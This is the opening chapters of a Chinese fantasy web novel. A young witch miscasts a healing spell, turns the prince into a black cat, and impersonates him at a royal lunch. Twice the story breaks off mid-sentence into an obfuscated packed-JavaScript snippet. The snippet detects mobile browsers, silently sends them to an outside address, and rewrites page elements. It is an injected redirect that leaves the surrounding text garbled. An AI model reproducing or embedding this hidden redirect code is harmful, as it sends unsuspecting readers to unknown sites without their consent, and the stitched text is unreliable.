《把王子诅咒成黑猫怎么办[西幻]》 1. 治疗谬误 夜幕时分,赫利安城的守卫比尔像平常一样挺在城门前,抵抗午夜带来的困意。 直到一个清脆的声音将他从半梦半醒中拽出来。 “我请求拜见国王陛下。” 一个淡金色卷发的小女孩不耐烦地瞪着他。她身材矮小,手里拿着细长又弯曲的木杖,顶端绑着块发光照明的绿萤石,灰绿色的斗篷已经快拖到地上,上面扎着几颗种子。 她的眼睛是像森林一样的绿色,就是显得有点疲惫。 比尔俯下身子,用对小孩的语气说:“这儿可不是闹着玩儿的,小姑娘。” “谁跟你闹着玩儿了?”女孩语气很冲地说,她走了太久路,难以顾及态度,“我是阿什琳·贝利,大法师萨诺瓦·贝利的学徒兼养女,我是替他来的。情况紧急,让我进去。” “替他来?”比尔一时糊涂,“但是……我没得到指令……” 女孩一拍脑门。 “哎呀!我忘了。”她说,“我把那封信落在家里了——你等着。” 她手忙脚乱地从挎包里翻找着。叮铃桄榔,几个草药瓶、水晶、蜡烛和破破烂烂的草稿掉在地上。 “用我帮忙吗?”比尔好心问道,心想这大概是个孩子的恶作剧。 女孩儿没空搭理他,终于掏出一把剪刀,将它在二人之间的空气中划了几下。 有那么一瞬间,比尔手搭上剑鞘,还以为这孩子要拿剪刀攻击他——但是没有,她只是在空中划出一道发光的口子。 “怎——怎么回事?” “找到了。”女孩从空气中的口袋抽出一张比临终老人的脸还要皱的羊皮纸,“读吧。” 比尔读完羊皮纸上的字,脸色一变。他只好冲同伴点点头,放她进去。 阿什琳赶紧拉上空间口袋,把刚才不小心掉出去的东西收好,奔入城堡。 她还从来没进过赫利安王城呢。萨诺瓦和她住在离这十万八千里的狐尾河湾,河湾领主的城堡已是她见过的最宏伟的建筑。 赫利安的城堡则比它还要高耸壮丽,仿佛她行于巨人脚下。 月光之下,圆柱状的塔楼高傲地顶起玫瑰金的塔尖,顶略尖的白边窗里透着淡淡的银光,好像随时都会出现一位正在梳发的公主。 可惜没时间欣赏王城风光。 阿什琳一路小跑,冲进走廊。女仆领她来到一扇紧闭的门前,旁边坐着一位愁容满面的中年男子。 他穿着德维尔家族的金色长袍,没戴皇冠,两眼发红,黑发中掺了不少银色。 听到脚步声,他猛地抬起头,仿佛抓住什么东西;见到阿什琳后,却又黯然别过头。 “我来了,陛下!我是说,”阿什琳气喘吁吁,“我……我是代贝利先生来为王子殿下治病的。他在外面执行很重要的任务,无法脱身。” 国王扶着手杖,坐起来。 “你叫什么名字?” “阿什琳·贝利,陛下。我是贝利先生的学徒和养女。我也是女巫,知道他的疗法。”她快速地说,“如果你不相信,我还带了他的信和治疗魔法笔记——” 国王给了女佣一个眼神,后者轻轻推开门。 房间内闷热得透不过气,弥漫着香黛、蜂蜜、迷迭香和罂粟奶的味道。床头柜放着放血杯、绷带和煮过的缬草。 王后趴在床边,似乎刚醒;年迈的御医在床边记录着什么,怀疑地看了阿什琳一眼。 “殿下所得之病实为罕见,我们也是迫不得已才向魔法求救。你确定自己可以代替大法师先生么,小姑娘?” “首先,我不是小孩子了。”阿什琳说,“其次,不,我知道自己不能。因此,我将严格按照他亲手写的笔记来操作魔法。” 她小心地来到床头,拉开金色的天鹅绒窗帘,微弱的喘息声传来。 年轻的王子像纸片人一样躺在床上,面色苍白,脸颊消瘦,双眼紧闭。半长不短的黑发凌乱地散在枕头上,被汗水粘湿。 他看起来如此虚弱,以至于阿什琳差点以为她看到的是一个幽灵。 “已经两周了。”王后呜咽道,“我们尝试了所有疗法与偏方,甚至请过东方的医师……可他一直这个样子。御医说他只有一天了……” “没关系,”阿什琳翻起小包,“我仔细阅读了贝利先生的笔记,知道一个很简单的咒语就能解决问题。” 所有人都等待着。 阿什琳的手越过草稿本,抓过紫水晶,划过羽毛笔,却怎么也没碰到那熟悉的牛皮纸封面。 好不容易摸到那个本子时,她大松一口气,得意地打开。 却发现上面写着: 萨诺瓦·贝利的晚餐独家秘方! (外人禁阅,阿什琳除外) 烛光不安地窜动,所有目光都变得刺眼。 阿什琳手心冷汗直冒,胃里突然被塞满了毛毛虫,混乱地扭动、爬行。 也许只是封面错了。她抱着侥幸心理翻开第一页。 想知道怎么做牛油果焗蛋吗?哈哈,答案很简单!首先,在半熟的鸡蛋上放入牛油果切片、新鲜乳酪和培根…… 阿什琳猛合上页,惊得王后几乎跳起来。 “怎么了,亲爱的?” 临走前,她不是检查了很多次吗?她仔细回想着。 没错,她特意把萨诺瓦的笔记本拿出来,放在一个显眼的位置,比如厨房前的长桌。这样,她绝对不会忘…… 该死。她的确没忘。 就是拿错了。 “我怎么可能拿错笔记本?” “什么,你拿错了?”御医震惊。 “一定有办法的。”阿什琳嘴上说着,手依然像永动机一样掏着包,“我的空间剪刀……真见鬼!” “空间剪刀?”王后茫然地问。 阿什琳捂住脸,恨不得从窗外跳下去。 “空间剪刀每次施法后只能用一次,我刚才已经用过一次了,没法再用它拿我落在家里的东西了。只有贝利先生能给它施法。” 这是萨诺瓦给予过她的最大的信任,也是整个王国给予她的信任,她怎么能这样?她以后还有什么脸见任何人呢? 如果王子病逝,一切都是她的错。 神啊,她简直是王国的公敌。下半辈子她都将与地牢相依为命。 萨诺瓦会抛弃她,太阳神会摒弃她,王国会流放她…… 就因为她把食谱当成了疗愈笔记本。 阿什琳把本就不柔顺的头发抓得更乱,在房间里来回踱步。 也许她应该用自己的魔法。 不,她是当然不能自己乱施展咒语的,搞不好不仅会加速王子的死亡,还能两人一起下地狱呢。 不行,还是需要萨诺瓦的笔记。如果这就放弃了,她以后还怎么成为那个强大的女巫? “贝利先生的笔记在皇宫有备份吗?”她急切地问道。 御医看了看国王,国王看了看王后,王后又看向阿什琳。 “有一部分。”王后犹豫道,“应该在他的书房里……可他已经很多年没进去过了。” “在哪儿?” “二楼右拐。等等,钥匙在——” 阿什琳转身就跑,飞来的绿斗篷糊了王后一脸。 “——我房间柜子里。”王后无奈道,但是门已经狠狠关上。 阿什琳来到老师办公室门口,先像正常人一样推了推门把手,然后才用魔法。 她最擅长的魔法甚至不需要念咒语,也不用做仪式。两手一挥,木门便稀里哗啦地瓦解成碎片。 “好孩子。”阿什琳称赞,刚要跨过那堆本是房门的木板,却被一条新 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治疗需要很强的水元素,可能还有点土元素。幸好她带了海螺、盐晶和水杯,可以为这两种元素创造点魔法基调。 不过,萨诺瓦的咒语本身的力量也很强大,就算不用相关元素的矿石或代表事物辅助,应该也没关系。 她将笔记本放在摇曳的烛光下,深吸一口气,双手举起法杖,汇聚全身的魔力,她一字一端地念出咒语: Corpus sāneat fēlem per lumen! 一阵绿光闪过,蜡烛熄灭。顷刻之间,王子床边的三色堇都生得高了几倍,本来含苞欲放的洋甘菊一下子绽开。 清凉的微风拂进床帘,引来几声轻轻的咳嗽。 “卢卡斯?”王后用极其轻的声音问,“卢卡斯,你醒了吗?” 所有人都屏住呼吸,阿什琳更是一动也不敢动。屋里静得能听见羽毛落地之声。 王子在床上扭了扭身子,睁开湛蓝的眼睛。 阿什琳一时间忘了所有事——他的眼睛蓝得惊人,好像偷走了天空、海洋、勿忘我等世间所有蓝色的原料。 “母亲……”男孩沙哑地说,然后微笑着看向阿什琳,“谢谢你。” 王后喜极而泣,紧紧抱住儿子。御医向前一步,仔细检查王子。 “的确退烧了,”他宣布,“其他症状也基本消失。” 阿什琳感觉心中石头落地。她大松一口气,起身准备离开,却被国王和王后拦住。 “明日,和我们一同享用午餐吧,”国王含泪笑道,“就当是答谢……以及这是你和你老师的报酬。” 他将一袋沉甸甸金币塞进她手里。 “我们感激不尽。”王后抹着眼泪道,“今天夜里……请你先陪陪他,好吗?” 虽然不明白为何让自己陪他,但阿什琳点点头。 屋里只剩下她和似乎又睡过去的卢卡斯王子了。 她不知所措地坐到他对面的沙发上,很快就像一摊水一样陷了进去。香黛和味道和刚刚耗尽的魔法,令她充满睡意。 今天的任务总算是完成,她迷迷糊糊地想。不知道国王和王后发现二楼的参天大树时会有何感想? 等她醒来时,太阳早已升起,中午的阳光暖洋洋地洒满王子的寝室。 阿什琳立刻从沙发上起来,拉开王子的床帘。 “来吧,王子殿下,我们可以一起去共进……” 她并没有说完“午餐”这个词。 先前床上那个虚弱苍白的黑发少年已经消失了。 取而代之的,是一只呈攻击状态、用蓝眼睛狠狠瞪着她的炸毛黑猫。 2. 骂人的猫 令人遗憾的是,阿什琳首先遵从了自己的本能:她将手罪恶地伸向黑猫的头顶。 黑猫呲着牙尖叫一声,以迅雷不及掩耳之势把她的手一爪打飞,留下一道火辣辣的血痕。 “哎哟!坏猫!”阿什琳捂住手背,重新望着黑猫,这才完全清醒。 黑猫耳朵往后撇,似乎略有羞愧。他装模作样地蹭起床柱来,仿佛无事发生。 这是怎么发生的——这只黑猫是卢卡斯王子? 不得不说,它长得确实和王子一模一样,主要是那双宝石蓝的眼睛。 但她可是完全按照萨诺瓦的笔记念的咒语。 笔记上说,这条咒语能迅速疗愈所有热病,令昏迷的患者恢复意识。它虽治不了绝症,但王子的疾病绝对没问题。因咒语而涌现的魔法粒子会黏附在他体内的细胞上,助他击败病魔。 “你是卢卡斯吗?”阿什琳问道,随即意识到不管它是不是卢卡斯,反正她的确是个蠢货。毕竟她听不懂猫语。 黑猫恼怒地叫了几声。 阿什琳翻开萨诺瓦的复印本笔记,盯着那条咒语:Corpus sur per lumen felīnum。 她难道不是这么念的吗? 她心底一沉,颤抖着放下笔记,视线模糊。 她还真不是这么念的。 是sur,而不是sāneat。“愿身体被猫之光治愈”,被她念成了“愿身体将猫治愈于光中”。 但凡她好好上拉丁语课,也不会犯如此低级可笑的错误。 “对不起,殿下!我刚才念错了咒语……我可能不小心把你诅咒了。希望不是。”阿什琳对黑猫说,“介意我重新给你施一遍法么?” 黑猫眯起眼睛,冲她大叫一声,语气听起来有点儿像脏话。阿什琳可以理解他,换作是她,她也会骂人的。 这一回,她正确地念出了咒语。 顿时,苹果绿的光充满整个房间。光芒褪去后,黑猫和她面面相觑。 “嗯,”阿什琳有气无力道,“至少你刚给我挠的疤愈合了。” 黑猫卢卡斯很凶地朝她哈了口气,从床上跳下来,开始在屋里不停转悠。 “这样,咱们来试试解咒魔法。”阿什琳提议,“目前看来你是中了黑猫诅咒,我此前听说过,这条咒语非常容易与其他咒语搞混,因为‘猫’在各种魔法中都经常出现。解除诅咒的办法有很多,我们应该一点点尝试。 “当然,也可能这压根儿不是诅咒,这样你明天就变回来了。但我们最好多试几次。” 接下来的一小时,阿什琳用尽了毕生所学。她先是用法杖尝试了萨诺瓦笔记中所有和“解除诅咒”相关的魔法,但要么毫无效果,要么效果奇特。 有一次,她给卢卡斯换了个品种,变成一只灰色狸花猫。还有一次,她把他变成一条大黑狗。为防止自己被咬,她赶紧又将他变回猫。 最吓人的不是她将他变成黑熊后压坏好几把椅子,而是蚊子。她还以为是将王子整消失了,差点把那只蚊子拍死。 “这简直毫无用途。”阿什琳大喊,觉得萨诺瓦的笔记写得太烂,“为什么这么多给人或事物变形的咒语,却没有一条能变回人的?” 卢卡斯的尾巴不耐烦地拍打起来,好像和地板有深仇大恨一般。 阿什琳继续翻阅笔记,努力辨析以及老师那潦草得像划痕一样的字体。 她提醒自己,下次见面一定要嘱咐老师多练书法。 “等等,我找到了。”她惊喜地说,“这条咒语可能可以。” 那是一道幻术咒,需要人类卢卡斯的一根头发。说实话,它不能解除诅咒,只是能暂时让任何事物看起来像某个人,但阿什琳决定自欺欺人一下。 又是一道刺眼的绿光闪过。 一个身材瘦削的少年穿着轻薄的白衬衫,以奇怪的姿势跪坐在地板上,两只手撑着地板。 他面容英俊,乌黑的头发明明杂乱,垂在眼前时却十分优雅。 卢卡斯迷茫地抬起头,将遮眼的黑发撩至耳后。 “我成功了!”阿什琳兴奋地说,“殿下,您变回来了!” “你确定——”卢卡斯话音未落,“啪”,又化作那只黑猫,未说完的话语也变成一声“喵呜”。 不是吧。 阿什琳抓着自己的后脑勺,无比希望自己的人生可以重来。 “好吧,幻术咒语在同类型的事物之间持续更长。猫变人的幻象太难维持了。” 接着,她开始尝试魔法仪式,用炭笔在地板上画出六芒星,摆好蜡烛和盐晶。 伟大的太阳神,我请求您洗去卢卡斯王子身上的咒痕。她跪在地上,默念。将真正的灵魂归还他。 半小时过去,无事发生。 这时,敲门声传来。阿什琳和卢卡斯都愣住了。 “什么事?”她压低嗓门,紧张地问,“殿下还在休息。” “国王和王后请二位加入午餐,切勿令他们久等。”门外的声音答道。 “知道了。” 直到确认脚步远去,阿什琳才敢说话。 “哦,我该怎么办呢?我把萨诺瓦委托给我的唯一一件任务搞砸了!这下可好,等国王和王后发现之后,我肯定小命不保。” 黑猫竟然点了点头。 “你真会安慰人,谢谢你。”阿什琳没好气道,“唉,但是你什么也没做错……病了那么久,一醒来却变成猫,肯定很难受。” 她一屁股坐在地上,双臂抱腿,头埋在斗篷里。 “就是这样,我得告诉他们。”她自言自语,“自怨自艾有什么用?如果萨诺瓦在这里,他一定会让我直面自己的错误。” 她深吸一口气,鼓起勇气,准备出门,脚脖子处却受到毛茸茸的攻击。 黑猫突然尖声尖气地叫起来,爪子按住她的脚。 “怎么,你有别的想法?” 卢卡斯小跑到她的咒语笔记前,用鼻子拱到后面一页。阿什琳定睛一看:动物沟通咒,猫。 “哦,当然,聪明小猫。”她低语,“Auris animi, lingua bestiae.” 法杖顶端的绿萤石震动起来,发出蜜蜂般的嗡鸣。 “应该生效了!”阿什琳满怀期待,“殿下,请说点什么试试。” “白痴。”黑猫清晰地说。 阿什琳就知道,她果然还是在动植物交流魔法上更有天赋。 “我可听说你是个温文尔雅的王子。” “听着,你绝不能把这件事告诉父王和母后,御医安缇斯或我的姐姐伊莱恩也不行。”卢卡斯说,“不然你最好的下场也就是监狱。” 阿什琳皱起眉。“我相信他们会理解的。” “你不明白。父王本就不信任魔法,请萨诺瓦·贝利更是孤注一掷之举。我们必须自己解决。” “可是,我已经试过了所有咒语……” “那是你。”阿什琳竟然在一只猫眼中看到了轻蔑,“贝利先生就不一样了——我小时候他就治疗过我,现在他也可以帮我解除诅咒。他现在在哪儿?” “我不知道。” “什么叫‘你不知道’?据我所知,你是他的养女。” “字面意思。他已经外出一个多月了。”阿什琳说,“这期间,我一直在给他写信,但唯一的回信就是让我来宫里帮你治病,其他什么也没说。” “你不知道他在哪儿,怎么给他写信?”卢卡斯问完立刻又自己解答起来,“哦,文字传送魔法。” “对。我家里有一沓被施了咒语的羊皮纸,萨诺瓦也带着另一沓。我们在上面写的字,对方可以在自己的纸上看到。” “那么,我提议你现在就给他写信。” 阿什琳执笔写起来。 “或许……也可以去你家里找线索,又或者问问你们的巫师朋友,我不清楚。”卢卡斯说,“总之一定不能让父王和母后发现我这副模样。” “如果你在暗示让我带着你出去……” “当然不是。那只会令你看起来像个充满嫌疑的黑巫师,一心谋害王子。”卢卡斯说,“必须得是我以人的形态主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“那我也可以命令你,毕竟是你害我成这样的。” “害你?”阿什琳难以置信,“要不是我,你现在已经死了!至少你的病已经康复。” “我宁愿死。你知道这对皇室是多么大的羞辱吗?” 阿什琳觉得血液蹭蹭往头上涌。 皇室,就知道皇室。 “就你们皇室最高贵。而我,至亲之人音信全无,长途跋涉好几天来到陌生的城市。见鬼,我到底为什么要来?” 泪水涌上眼眶,她使劲儿眨着眼睛,硬生生把它们憋回去。 至少现在不行,她告诉自己,不能在这个傲慢自大的王子面前软弱。 卢卡斯没再说话,而是缓缓来到她身边,蹭了下她的胳膊。 一会儿之后,他才轻轻开口: “我为自己的失礼道歉,贝利小姐。我承认,事情发生得太突然,令我措手不及,一时失态。任何人都有可能犯和你同样的错误,你没什么好责怪的。我也不该抓伤你。 “你救了我的命,谢谢你。” 阿什琳突然抬起头,像没听懂他的话似的,奇怪地盯着空气。 “怎么了?” “再说一遍。” 卢卡斯的尾巴又开始摇摆。 “道歉和感谢的话我可不会说第二遍。” “不是那个,再往前,什么皇室啊病死啊之前。” 卢卡斯看她的眼神就仿佛她长了三个头。 “‘要是有烤玉米、奶酪或者小鱼干……你替我拿些来也好’?” 替他拿些。 一抹坏笑浮现在阿什琳脸上。 “为什么我有种不祥的预感?”卢卡斯说。 “我突然想起,刚才那道幻术咒让你变回人类几秒。”阿什琳解释,“之所以只有几秒,是因为将猫伪装成人太难。但如果是把一个人伪装成另一个人……” “别告诉我是我想的那样。”卢卡斯惊恐道。 然而阿什琳已经爬上床,捡起卢卡斯掉的黑发。 “你脱发挺严重啊,公主。” 在黑猫发飙之前,她已经对自己念出咒语。 3. 半日王子 “这主意烂透了。”卢卡斯第六次说。 阿什琳不为所动。 “你要怎么解释阿什琳·贝利无缘无故地离开?如此没有礼貌,连国王邀请的午餐都加以拒绝!你只是个乡下小女巫,阿什琳。” 脚步声从拐角处传来,卢卡斯立刻钻进阿什琳的蓝色披风里。 更准确地说,是卢卡斯自己的披风。 来者是个端着衣服的女仆。 “殿下,您看上去气色真好。”她深鞠一躬,对阿什琳说,“国王、王后和公主正在餐厅等您呢。” “谢谢。”阿什琳轻轻点头,用自己最高贵的语气说。 她还不太习惯从自己喉咙里发出的属于男孩的音色,咳嗽几声。 “我通常不会这么冷漠。”卢卡斯小声提醒,“应该再给她一个温暖的微笑。” 阿什琳微微一笑。女仆脸泛起淡粉色,轻快地离去。 “我希望你想清楚了,”待女仆彻底走开,黑猫又冒出头来,“如果你吃一半变回来怎么办?据我所知,没有多少幻术能撑到一小时。” “那就说这是个恶作剧然后咱们拔腿就跑。” “我怎会摊上你这种人。”卢卡斯长叹一声,“好好演我,求求你。” “演你对所有女仆调情?” “我才没有!” 阿什琳爽朗地笑起来,从未感觉自己如此威风过。 她大步流星地穿过金碧辉煌的长廊,竭力按耐住盯着那精美的水晶吊灯看一上午的冲动,向守卫和侍从们礼貌点头,甚至和盔甲问好。 孔雀蓝的绸缎长披风轻盈扫过她的足迹,掩盖黑色的猫尾巴。 直到卢卡斯提醒她,他现在刚刚病好,应该演得再虚弱一点,她才稍微收敛。 餐厅比她想象得还要奢华百倍。大理石瓷砖地光滑得能看见她自己的倒影:一个又高又瘦的黑发少年,但外轮廓发着点微弱的绿光。 好在不仔细看根本看出来。 金黄色的纹路爬满整个房间,四壁皆是有关丰收女神或农牧神的壁画。长桌铺上纯白的桌布,浮雕花瓶里插着鲜艳明快的黄玫瑰,阿什琳能看到花瓣上的露珠。 银盘里的白面包上抹着厚厚的蜂蜜或黄油,旁边摆了几份烟熏鱼片和鳗鱼冻,简直够她吃一个月。长桌中央趴着一只香草烤鸡,刷着油亮的蛋黄液。金色高脚杯中,葡萄酒在细长的蜡烛旁闪闪发光。 阿什琳感觉卢卡斯的口水已经弄湿了她的裤腿。 长桌尽头,是国王尼古拉斯·德维尔二世,神情严肃。他左侧坐着格拉西亚王后,温柔地注视着她;右侧,伊莱恩公主扬起眉毛。 公主妆容精致,样貌与卢卡斯有几分相似,一头乌黑的长发优雅地盘在脑后,眼瞳是比母亲和弟弟都更浅的冰蓝色。而那线条分明的高颧骨,则与她父王极为相似。 阿什琳一时忘了自己的开场白。 “卢卡斯,”好在尼古拉斯二世先开口,“你来了。” 阿什琳决定不指出这是一句废话。 “是的,父王。早安。”她抚胸微微躬身,“以及母后和姐姐。” “你那位女巫医生呢?”伊莱恩左顾右盼,似乎觉得阿什琳·贝利就藏在王子身侧,“据说她昨天就在宫里。” “她……有必须完成之事,关于她的老师的,因而不得不先回去。我替她转达她的歉意。” “我们还没来得及好好感谢她。”格拉西亚王后遗憾道,“坐下吧,我亲爱的孩子。” 侍从拉开伊莱恩公主旁的椅子,阿什琳略显拘谨地入座。 尼古拉斯二世拿起镶嵌宝石的餐刀,将烤鸡的一只翅膀切下,放在格拉西亚王后的金盘中,随后才给自己切了鸡胸肉。 伊莱恩等父亲动作结束,示意侍从给自己添了一勺鱼冻。 “没事,吃吧,多吃点。”格拉西亚王后轻声说。 阿什琳下意识地伸手去抓面包,感到后背被猫爪狠狠拍了几下。于是她的手进行到一半又尴尬地回来,拿起刀叉,打算切一块给自己。 没想到后背又挨一打。 “侍从会给你的。”卢卡斯用极小的声音提醒道。 果然,阿什琳停在位置上,侍从立刻赶来,为她切面包、涂好蜂蜜。 阿什琳太饿了,没想那么多,直接一口咬上去,大快朵颐。面包的奶香与蜂蜜的甜美像来自天堂的梦一样,软绵绵地进入嘴中。 香草烤鸡也是她此生吃过的最美味的烤鸡,迷迭香的清新混着黄油的醇厚,裹着焦脆鸡皮的焦香直往嘴里钻。 她抬起头,才发现所有人都在看她。 “很饿呀,弟弟?”伊莱恩笑道,“也是,都两周没好好吃饭了吧?” “是啊,抱歉。”阿什琳含糊不清地说,“太久没看到真正的食物了。” 她说着,往桌底下扔了快鸡胸肉。 尼古拉斯二世一直盯着她看,弄得她吃则不是,不吃也不是,只好端坐好,放下刀叉。 “这次生死离别,儿子……让我认识到,你对我来说有多重要。”国王认真地说。 伊莱恩开始喝葡萄酒。 “是的,父王。我也一样意识到你对我有多重要。”阿什琳咽下鸡肉,“我爱你们所有人。” 伊莱恩似乎差点把酒喷出来,仆人立刻为她擦了擦杯子和嘴。 “我不会说这么直白的话!”卢卡斯在桌子很小声地叫。 伊莱恩皱起眉,看向桌底:“是错觉吗,我怎么听到了猫叫声?” “可能是我的鞋在地上滑了几下。”阿什琳慌忙道,“小问题。” “来给我们亲爱的卢卡斯的奇迹般的康复敬个酒吧。”格拉西亚王后举起酒杯,“敬卢卡斯!” “敬卢卡斯!” 这儿就连葡萄酒也比狐尾河湾的鲜美。阿什琳眷恋地享受着美酒在舌尖上舞蹈的感觉。 当赫利安城的王子真爽。 “那么,卢卡斯。恐怕我们今天要开始谈一些‘正事’。” “没问题,父王。” “首先,你的拉丁语课和精灵语课学到什么进度了?” 阿什琳手一抖,酒杯差点摔倒。 “尼古拉斯!”格拉西亚嗔怪道,“他才刚刚病好,不用对学业这么着急。” “啊。学到……嗯……”阿什琳可从来没学过,“读文章。” “不,短句语法。”黑猫嘀咕。 “短句语法。”阿什琳修正,“对不起,我脑子烧糊涂了。” “你觉得怎么样?” “浪费生命。”黑猫轻蔑地说。 “有点无聊。”阿什琳说,急忙补充,“……父王。” “无聊?”国王摸着胡子,“那你有什么建议?” “把拉丁语老师炒了,他教得还不如我。”卢卡斯说,“精灵语老师还行。” 阿什琳尽量用更有礼貌的语言复述了他的话。 “这倒是个建议,很好,很好。”国王点点头,“你是个聪明的男孩,卢卡斯……虽然武功与治理头脑上比不过你姐姐,但或许学术知识上可以。” 伊莱恩白眼一翻。 “省省吧,父王!你知道我们俩都不爱听你的比较,是不是?” 她笑着和父亲碰杯饮酒,然后爽快站起。“比起谁更厉害,我更关心的是,谁能找到这个房间里的小猫!” 阿什琳一个冷战。她感到卢卡斯立马钻到她披风很深的位置。 “小——小猫?”她紧张地问。 “我一直能听到非常非常小的猫叫声。”伊莱恩说,“一定有一只猫溜了进来。” “猫怎么能进皇室餐厅?!”国王面色铁青,“快来人给我找出来!” 侍从们立刻行动起来,趴进桌底、掀开桌布、拿开花瓶,连墙角地毯都不放过。一个警卫甚至抽出佩剑,仿佛要面对的不是小猫而是奇美拉。 阿什琳只觉得披风下的卢卡斯顿时绷紧了全身,披风动了动。侍从眼尖地看过来。 她如坐针毡,不断变换姿势,眼神四处乱瞟,僵硬地举起早已空空如也的酒杯,假装饮酒。 伊莱恩眯起眼。 “我以为你的酒刚才就喝完了呢。” “嗯?”阿什琳目光躲闪,“哦,对,刚发现。来帮我续一点吧。”她示意侍从。 “你还好吗,弟弟?” “我?”她心提到嗓子眼儿,大骂自己蠢,“当然。” “你额头在出汗啊,脸色也发白。身体不舒服?” “他刚刚康复,”格拉西亚王后说,“有点不适也正常。” 阿什琳挤出一个微笑。“就是有点头晕,陛——我是说,母后。” 这并非谎言,她的确头昏脑涨。王后的身影在她眼中摇曳不定,如同幻影。 “你的幻术。”卢卡斯小声提醒。 是的。她来了多久了?阿什琳意识到,恐怕再多待一会儿她就将被打回原形。 侍从像老鼠一样从桌子里钻出来。“陛下,四处找遍了,没有……猫……” 这时,他的眼睛被什么东西吸引。阿什琳顺着他的目光望去,心脏几乎停止跳动——一块鸡胸肉。 阿什琳心中咒骂。卢卡斯怎么不吃他的午饭? 显然,伊莱恩也有所注意。她瞪大眼睛,抿起嘴,随后与阿什琳对上目光,不易察觉地挤挤眼。 “两周不起床,连饭都不会吃了?”公主嘲笑道。 阿什琳觉得自己脸一红,但还是松了口气。 “它……它有点烫。” “卢卡斯,”伊莱恩挑起眉毛,“要么是我在做梦,要么,就是你的身上有层绿光在闪。” 糟糕,幻术马上就要失效了。 “你看错了。” “那么,你的头发开始变成金色,也是我看错喽?” 阿什琳耳边仿佛有东西轰然炸开。 “今天的阳光的确比较强烈啊。” “哦,我不好说——” 就在这时,黑猫卢卡斯猛地一跃,像黑色的影子般从她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239021|181872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腿边蹿出去。 阿什琳震惊地站起来。 “快!在那儿!” 侍从大喊。 黑猫翻过椅子,跃上桌子,擦着伊莱恩公主的酒杯飞掠而过。 烤鸡差点被掀翻,酒洒了半条桌布。两名侍从跌倒在一起,拖下了一串黄玫瑰,花瓣纷飞。 没有人再关注发绿光并且头发渐渐变金的“卢卡斯”了。 “挡住门!别让它跑出去!”有人叫道。 “用罩子!”另一个急中生智,抓起餐盖就扑。 卢卡斯在一堆银餐具中左躲右闪,一路踏着桌布飞奔,尾巴差点被一个盘子盖住。 “太阳神呐!”格拉西亚王后连连后退。 阿什琳瞠目结舌,差点忘了自己是个王子。她本能地站起来想去帮忙,又强忍住。 “疯子。”她呢喃。 “我在保护你——保护我自己!你的魔法快失效了。”黑猫从另一个方向扑进一个甜点盘,差点淹没在奶油中,蹦出来时,整只猫像撒了糖粉的巧克力蛋糕。 此时,一位侍从用银盘挡住了卢卡斯的退路,另一人猛地从后扑来,终于—— “抓住了!”他高喊。 卢卡斯被整只包进了绸布餐巾里,只露出蓝色的眼睛,身子仍在拼命扭动。 整个餐厅恢复了短暂的平静,空气中残留着面包屑、玫瑰花瓣和破碎的高脚杯。 伊莱恩公主的目光在黑猫与阿什琳之间徘徊,古怪地闪烁。 尼古拉斯二世额头青筋直跳。 “这成何体统!”他拿叉子锤桌,大喝。 侍从小心翼翼地抱着黑猫朝餐桌走回去。 伊莱恩拍桌大笑起来,引得所有人向她看去。 “哟,卢卡斯!我说你怎么看起来像变了个人呢,原来是养了小猫啊。” “你在说什么?”阿什琳慌乱地摆手,又试图遮住自己变回来的小部分金发,“我没有。” “别紧张,老弟!”伊莱恩大声道,“我猜你也是迫不得已。” “这是真的吗,卢卡斯?”尼古拉斯眉毛几乎拧到一处。 阿什琳叹了口气,知道这下逃不过了。 不过,一个新念头在脑海中逐渐成型,可以帮他们迅速离开。 “是真的。”她假装沮丧地说,语速飞快,感觉自己的声音马上就要变回女孩,“而且他不是流浪猫……是那个女巫,阿什琳·贝利的猫。她把他忘在皇宫了。” 说实话,这完全是她有可能干得出来的事。 “卢卡斯!”王后指责,“你完全可以先说一声嘛。” 尼古拉斯·德维尔二世看上去像再也不会笑了似的,眼睛躲在眉弓骨深深的阴影之下。 “赶快把这只黑猫还给女巫,省得给我们家带来灾祸。我收回刚才对你所有夸奖的话,卢卡斯。作为德维尔家的王子,你实在太不成熟。” 真正的卢卡斯在餐巾里大胆地冲国王呲了呲牙。 “当然,父王。我本来想告诉您这件事的……可是他一直粘着我,我也没找到机会。”她恭敬道,抱起卢卡斯,“我这就带他走。” “我和你一起。”伊莱恩拍拍阿什琳的肩。 公主的眼神不像是能拒绝。 来到门外时,阿什琳很清楚自己基本已经恢复了原型,因为伊莱恩简直比刚才高了一个头——实际上,是她自己矮了一个头。 披风的幻象倒是还在。 她看起来一定好笑极了:一个平民小女孩,穿着属于王子的华贵礼服。 “听着,公主殿下,我不知道该怎么解释……” 伊莱恩手一挥。 “不必多费口舌,我猜得到怎么回事。你就没想过为什么只有我听到了猫声吗?一开始,我以为就是正常的猫叫声;但后来我才意识到,我能听懂一些词。这说明其中有人类的魔法干涉。” 阿什琳盯着她。的确,那道咒语的效果不是令阿什琳听懂猫的叫声,而是为施法者和动物创造一种普通人无法理解的语言链接。真正的猫叫声,是另外一回事。 “您也学过动物交流的魔法?” “嗯,就一丁点,也只能听懂个别词。”公主点头,“那是青春期的叛逆故事。父王越是讨厌魔法,我就越想学习咒语来激怒他。可惜,我实在缺乏魔法天赋。” “所以——你知道——” “对,我知道你是贝利先生的学徒,也知道这东西才是我弟。”伊莱恩狡黠地揉了揉卢卡斯的脑袋,“你好呀,小猫咪!唉,我早就想这么做了。” “滚开。”卢卡斯气势汹汹。 “我听懂这个词了。”伊莱恩警告。 “你也放我下来。”他拍打着阿什琳的胳膊,但阿什琳不为所动。 “都是我的错。”女巫低下头,“是我把治疗咒和黑猫诅咒搞混的。只有贝利先生才有能力解开诅咒,可我不知道他在哪。” 公主仰起头,手指放在嘴边,若有所思。 “嗯,我或许有个想法。” 